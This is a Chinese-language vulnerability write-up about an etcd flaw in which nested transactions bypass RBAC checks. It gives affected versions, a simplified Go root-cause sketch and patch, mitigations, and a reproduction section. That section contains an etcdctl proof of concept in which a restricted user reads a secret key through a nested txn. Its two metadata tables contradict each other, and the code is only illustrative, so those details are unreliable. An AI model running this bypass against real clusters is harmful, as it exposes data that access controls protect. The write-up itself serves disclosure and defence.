一、漏洞简介¶
1.1 漏洞背景¶
etcd 支持事务操作,允许在单个请求中执行多个条件检查和操作。然而,在使用嵌套事务时,发现 RBAC(基于角色的访问控制)授权检查可以被绕过。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 嵌套事务绕过 RBAC 授权检查 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | etcd 安全 |
| 项目 | 内容 |
|---|---|
| CVE 编号 | 待分配(GHSA-rfx7-8w68-q57q) |
| 危害等级 | 低 |
| CVSS 评分 | 低危(取决于部署场景) |
| 漏洞类型 | 授权绕过 |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- etcd < 3.4.42
- etcd < 3.5.28
- etcd < 3.6.9
2.2 不受影响的版本¶
- etcd >= 3.4.42
- etcd >= 3.5.28
- etcd >= 3.6.9
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- etcd 集群启用了认证(RBAC)
- 攻击者具有有效的认证凭证
- 攻击者具有对某些键范围的受限权限
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
+------------------+ +------------------+
| 受限用户 | 嵌套事务请求 | etcd |
| (只有部分权限) | ----------------------> | (RBAC 启用) |
+------------------+ +------------------+
| |
| 绕过键范围限制 |
| <----------------------------------------
v
+------------------+
| 访问完整数据存储 |
+------------------+
3.2 源码层面的根因分析(结合源码与补丁对比)¶
// 事务处理逻辑(简化示意)
func (a *applierV3backend) Txn(r *pb.TxnRequest) (*pb.TxnResponse, error) {
// 问题:嵌套事务的权限检查不完整
for _, cmp := range r.Compare {
if !a.checkPermission(cmp.Key) {
return nil, ErrPermissionDenied
}
}
// 漏洞点:嵌套的 txn 操作可能未正确检查
for _, op := range r.Success {
if nestedTxn, ok := op.Request.(*pb.RequestOp_RequestTxn); ok {
// 这里缺少对嵌套事务的递归权限检查
// return a.Txn(nestedTxn.RequestTxn) // 漏洞代码
}
}
// ...
}
修复补丁:
// 修复后的代码
func (a *applierV3backend) Txn(r *pb.TxnRequest) (*pb.TxnResponse, error) {
// 递归检查所有操作(包括嵌套事务)的权限
if err := a.checkTxnPermission(r); err != nil {
return nil, err
}
// ...
}
func (a *applierV3backend) checkTxnPermission(r *pb.TxnRequest) error {
// 检查比较操作
for _, cmp := range r.Compare {
if err := a.checkKeyPermission(cmp.Key); err != nil {
return err
}
}
// 递归检查成功/失败分支的所有操作
for _, op := range append(r.Success, r.Failure...) {
switch req := op.Request.(type) {
case *pb.RequestOp_RequestTxn:
// 递归检查嵌套事务
if err := a.checkTxnPermission(req.RequestTxn); err != nil {
return err
}
case *pb.RequestOp_RequestPut:
if err := a.checkKeyPermission(req.RequestPut.Key); err != nil {
return err
}
// ... 其他操作类型
}
}
return nil
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动 etcd 并启用认证
etcd --listen-client-urls http://localhost:2379 &
# 创建用户和角色
etcdctl user add root
etcdctl role add limited
etcdctl role grant-permission limited read /allowed/ --prefix
etcdctl user add attacker
etcdctl user grant-role attacker limited
etcdctl auth enable
# 写入测试数据
etcdctl --user root:password put /allowed/data "allowed"
etcdctl --user root:password put /restricted/secret "secret data"
4.2 PoC 演示与测试过程¶
# 使用受限用户通过嵌套事务访问受限数据
# 此操作应该被拒绝,但漏洞版本会成功
etcdctl --user attacker:password txn <<EOF
compare:
- version: 0 /allowed/data
success:
- txn:
compare:
- version: 0 /restricted/secret
success:
- get: /restricted/secret
EOF
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到以下版本之一: - etcd 3.6.9 - etcd 3.5.28 - etcd 3.4.42
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:网络层隔离
# 限制 etcd 端口访问,只允许可信组件
iptables -A INPUT -p tcp --dport 2379 -s <trusted-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP
方案二:使用 mTLS 加强认证
etcd --client-cert-auth \
--trusted-ca-file /path/to/ca.crt \
--cert-file /path/to/server.crt \
--key-file /path/to/server.key
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
6.2 其他技术参考资料¶
- 报告者:Luke Francis 和 Battulga Byambaa